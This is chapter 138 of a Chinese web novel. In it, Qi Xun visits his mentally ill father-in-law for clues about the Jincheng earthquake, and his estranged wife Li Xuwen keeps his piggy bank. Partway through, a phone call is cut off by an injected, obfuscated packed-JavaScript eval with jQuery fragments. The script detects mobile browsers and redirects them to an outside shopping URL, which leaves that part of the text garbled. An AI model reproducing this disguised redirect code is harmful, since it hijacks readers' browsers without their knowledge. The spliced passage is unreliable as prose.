默认冷灰
24号文字
方正启体

138. 第 138 章

作者:岑昱本书字数:K更新时间:
    把小熊送回去,齐寻没回家,而是绕远,去了趟疗养院。


    进入十一月,京屿好像忽然就跳入了初冬。


    病区安静得像才下过雪,黎策穿着秋衣秋裤坐在床边,望着他笑。


    他身上穿着新买的保暖内衣,是齐寻跟闻闻去锦城之前给送来的——从库萨回来后,黎叙闻来探视的次数明显多了,可每次来都很少跟爸爸说话,两个人就默默干活,干完了就回家。


    那时候黎策拿着衣服跟护士炫耀,护士称赞他们孝顺,说老黎有这样上心的女儿女婿,真是有福气。


    黎策立刻道:“什么女儿女婿,这是台里发的!”过了十分钟,还追着人家护士凶巴巴地:“我女儿不早恋!”


    当时黎叙闻的表情,齐寻到现在都不忍心回想。


    齐寻把带来的水果洗了,放在床头柜上,而黎策仍然眯着眼睛看着他,没有搭话的意思。


    看来还没决定今天给他安个什么身份。


    精神病人的世界有着一套自己的运行逻辑。黎叙闻来看他总是在饭点,会顺便给他带饭,所以她是发盒饭的后勤官,而齐寻最近总是跟她一起出现,他便自作主张,让齐寻给她当副手。


    可今天黎叙闻没来,就副手自己,他就反应不过来了。


    齐寻主动道:“后勤官今天开会去了,让我送水果来。您从防空洞出来了?”


    黎策眼珠慢慢转了转,终于笑了:“我就说……对,昨天轰炸结束,都出来了。”说着,他还伸着脖子朝门口瞧:“开会要开一整天啊?她还来不来了?”


    齐寻心里酸了一瞬,道:“嗯,开一整天,过两天她就来给你送台里发的东西。”


    跟黎策说话很有讲究,不能说“来看你”或是“照顾你”,不然他分分钟急眼——战地记者怎么能让人费心照顾,他是战场自由人,是人道主义最后的防线,合该他照顾别人。


    “噢,”黎策点点头,问:“上次跟她说了,让台里再带个玩偶吉祥物给我,她记得没有哇?”


    齐寻神色一顿。


    吉祥物应该是那个胖乎乎的玩偶娃娃,黎策一直说长得像闻闻,逢人就给显摆。上次他们过来,黎叙闻说这个脏了,回头跟台里申请,给他发个新的,把旧的那个带走了。


    离开之后她连门都没出,直接把娃娃扔进了医院的医疗废料里。


    齐寻看着黎策期待里带着焦急的眼神,心头忽然升起了个不合时宜的念头。


    闻闻从来没当着他的面叫过“爸爸”,他知道她这是她的心结,所以也跟着她,不和黎策讲话。


    可现在……


    心脏蓦地没来由地加速,齐寻咽了咽,单手撑住黎策的肩,这一声像年久失修,太不熟练,顿了半晌才喊出来:“爸?以后……我可能就不来了。”


    黎策怔愣着盯住他,好像在思索自己到底有没有这么大的儿子,半天才道:“我只有一个女儿啊,你……”


    齐寻深深吸了口气,慢慢泄了,道:“我跟闻闻结婚了。”


    黎策瞪大眼睛,抬手一把打掉他的手:“你放屁!我女儿还没成年呢!”


    这一声像雷鸣惊飞鸟雀似地,惊飞了病区的寂静,周围病房中的病人开始嚎叫、辱骂、絮叨、哭泣,活像炸开了炼狱的盖子。


    齐寻不为所动,目光平静地看着他:“她天天来看你,是你不认她。”


    走廊上护士和保安的脚步声纷至沓来,门外一时敲栏杆的哐哐声和撕心裂肺的挣扎声混作一团,煌煌地往人耳朵里灌。


    而黎策像没听见似地,不知是被震傻了还是什么,一言不发地盯着他瞧。


    半晌,他在鸡飞狗跳的环境音里,忽然咧开嘴笑了。


    “那你呢?”他轻声说:“你就认识她吗?”


    在听清这句话的一瞬间,齐寻感觉自己的血都被冻住了。


    他们总是居高临下,把黎策当成一个不必避讳的树洞,或是无法反抗的动物,殊不知所有的真相早就被对方不着痕迹地洞悉。


    或许是黎叙闻独自来过,反正他不会泄露秘密,所有她碍于面子无法倾诉的事,都可以跟他讲。


    他没有办法再保护她,没办法再给她建议,可至少,他是爸爸。


    而齐寻在电光火石之间,意识到了另一件更重要的事。


    ——黎策没有全疯。


    至少有一部分,哪怕是极其微小的一部分神智,可能仍在他身体里活着。


    平时这部分也许一直在沉睡,但他保护女儿的本能还在,只是他除了那么一句没头没尾的诘问,也做不了其他的了。


    明白了这个事实后,齐寻的脑子里有一个极小的齿轮,忽然咔地一声,转出了一个意料之外的弧度。


    既然他还有理智,既然他还能醒来,那是不是意味着,他也记得大地震时发生了什么?


    那时候他在哪,闻闻在哪,当时到底发生了什么,他是不是……


    是不是全部都记得?


    寒凉冬夜里,齐寻穿着一件单薄的卫衣,身上骤然乍起了一身热汗。


    他双手不断地握紧,又松开,再握紧,却无法抑制失速的心跳分毫。而黎策说完石破天惊的一句,似乎又陷进了不知何夕的时空里。


    齐寻扶着他坐稳,双肘撑着膝盖,十指在腿间交握,盖住自己汗湿的手掌,盯住他的眼睛:“黎记者,我们要做个锦城大地震十周年的采访,你、你方便吗?”


    也许是他的错觉,黎策的眼睛短暂地亮了下。


    “方便。”他整了整衣领:“什么时候?”


    齐寻心脏都快跳出来了:“现在。”


    黎策肃着脸点点头:“怎么找上我了,不去找谢队啊?”


    “谢队是谁?”


    “你们什么业务水平?”黎策突然翻脸了:“案头工作都没做?谢队是谁?是当年京屿的消防队长!”


    他脸色又慢慢缓和下来:“我好兄弟,穿一条裤子的好兄弟!你去了提我名儿,他一定来。”


    说着说着,又出了神:“哎,老谢……怎么感觉好久没见到了……”


    他就这样状似平常地揭示了一条惊天线索,一条齐寻一直以来求而不得的证据!


    齐寻感觉自己呼出的空气都冻成了一团,艰难地咽了咽,又道:“我会去找他。黎记者,请问那个时候,你在哪里?”


    黎策还生着气,张嘴刚要回答,答案却像是噎在了嗓子眼,把他整个人都噎得卡壳了。


    他瞪着一片阴翳的眼睛,喉咙里发出“啊啊”的气声,顿了良久,忽然换了副面孔,笑嘻嘻道:“那时候啊,我在梦里。”


    齐寻五脏六腑就地降落,心脏吧唧一声摔在地上。


    “哦~在梦里~”黎策手舞足蹈地唱起来:“梦里!梦里见过你~”


    喑哑的歌声招来了门外一大片疯狂的嚎叫和骇人的笑声,引得护士面色不虞地进来:“齐先生,病人状况不太稳定,要不你早些回吧。”


    齐寻在护士责备的目光下坐了片刻,终于疲惫地站起身,走到门口,又回头问:“那时候……闻闻真的不在锦城吗?”


    黎策笑眯眯看着他:“下次后勤官不来,你也别来了。”


    ……


    直到打开许久没回的家门,齐寻都还陷在对自己的厌恶里面,无法自拔。


    ……他到底干了什么。


    不说对方是闻闻的爸爸,是他的岳父,就算只是个素不相识的病人,他都不该有这样算计的心思。


    邻居家堪称辉煌的夜灯从窗外泼进来,齐寻站在门口,盯着地上一层霜一样的亮光,一动不动。


    所以今天的那些话……能信吗?


    那个瞬间他到底是清醒的,还是在疯癫地耍人玩?


    但即便被耍,齐寻也别无选择了。


    只要能找到那个谢队长,就能问出当年黎策有没有去震区,有没有带着小女儿,有没有……


    有没有救过他。


    只要能找到那个人,能证明他说的一切都是真的,是闻闻的记忆出了问题,那横在他们之间的天堑就会瞬间瓦解,那他十年的寻找和等待就不至于变成一个一文不值的笑话。


    这是他唯一的机会。


    这个念头像一颗信号弹,在他沉黑的脑海中骤然升空,炸出了漫天白光。


    他动作慌忙地去摸兜里的手机,点开微信打了两个字,嫌慢,直接拨了小熊的电话:“你跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410676|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    消防那帮兄弟,还联系吗?”


    小熊不明所以:“啊,经常一块打王者啊,咋啦?”


    “你帮我查个人,锦城大地震的时候去过震区,”齐寻语速从没这么快过,声音竟含混起来:“姓谢,是当时的消防中队长。”


    小熊愣了下,叫起来:“这怎么查,人家档案都是封存的,我——”


    齐寻啪地挂了电话。


    发泄完这一通,他像脱力了似地,把手插进头发里,慢慢地蹲在了地上。


    毛坯房像个丑陋但忠诚的伙伴,在一众豪华立面和融融暖光里,黑而沉默地陪着他。


    不,现在还不是放弃的时候。


    这跟救援大概是差不多的道理,有时候逼着自己再进一寸,再忍一刻,说不定就会有转机。


    良久,他缓缓就地坐下,打开箱子,伸手摸了一阵。


    触之所及都是绵软的衣物,还有棱角分明的笔电和工作站。


    他把手臂更向里伸去,怎么摸,都没摸到那个让他安心的物件。


    ……小猪呢?


    小猪呢??


    他一把将箱子推倒,把里面的东西一件不剩地倒出来,所有的家当散了一地,行李里有什么一目了然,偏偏不见那个存钱罐。


    齐寻蹲在地上翻了一阵,思索再三,打开微信置顶对话框,没说话,先点了个转账。


    转账界面跳出来,显示“转账给叙我所闻(**闻)”。


    ……还好,至少没被删掉。


    他舔了舔嘴唇,给黎叙闻拨了个语音。


    铃声响了将近一分钟,那边才接起来,语气冷淡:“有事?”


    “嗯,”齐寻绷住了声音,问:“到家了?”


    那边语带嘲弄:“我到没到家你不知道?”


    齐寻:……


    他真是疯了才会觉得闻闻能让他那点伎俩骗过去。


    他捏了捏眼角,重重出了口气:“你收拾行李的时候,看见我的存钱罐了么?”


    黎叙闻像听了什么笑话似地,冷冷笑了一声:“怀疑我藏你东西?我缺你那点钱?”


    没等齐寻一句“不是”出口,她就先发制人,挂断了电话。


    挂了还不解气,抬手把手机远远扔到对面沙发上,嘭地一声。


    茶几上的小金猪咧着红彤彤的小嘴看她,笑她言不由衷。


    “笑什么?”她面无表情地曲起手指,弹了小猪一个爆栗:“你是人质你知道么?还笑?”


    怀里的小狗以为小金猪惹妈妈生气了,狐假虎威地冲着它嗷嗷了两声,回过头来,温热地舔舐她的掌心,抬起湿漉漉的豆豆眼望着她。


    黎叙闻心里一软,把它柔软的身体举起来,蹭蹭鼻头,问:“想爸爸了?”


    小狗哼哼唧唧地歪着脑袋,也不知道听懂了没。


    黎叙闻把它重新揉进怀里,视线远远落在踢脚线暖茸温黄的夜灯上。


    “可我有点想他。”


    她当然知道还有余地,甚至都不用做什么,只要主动跟他说一句话,这场未遂的分手就结束了,曾经那些如珠如宝的日子,会一刻不停地向她奔来。


    可她实在回不了头。


    她不想每天早上醒来,看见枕边人,都会想起自己不过是个替身,不想在缠绵时听见他叫她的名字,还要思索他眼里的究竟是谁。


    更不想每到幸福甜蜜的时刻,那个致命的念头总会像一盆冷水一样向她当头泼来——


    黎叙闻,这些真的是给你的么?


    如果你只是个脾气又臭、说话又难听的调查记者,还会有人爱你么?


    如果你只是你自己,还会有人愿意看你一眼吗?


    她会被这个念头日夜折磨、辗转反侧,会在每一个莫名其妙的时刻草木皆兵,磋磨他也磋磨自己,直到他们以为的不可动摇的爱意被消磨殆尽,相看两厌、面目可憎。


    光是想想,后脑处的某根血管都像被针挑了似地突突作痛。


    长痛不如短痛,这是她从妈妈身上学到的道理。


    她捶着后枕愣了一阵子,拿出手机,拨通了小茉的电话。


    “今天你说的那个跳河的疯女人……资料发给我吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)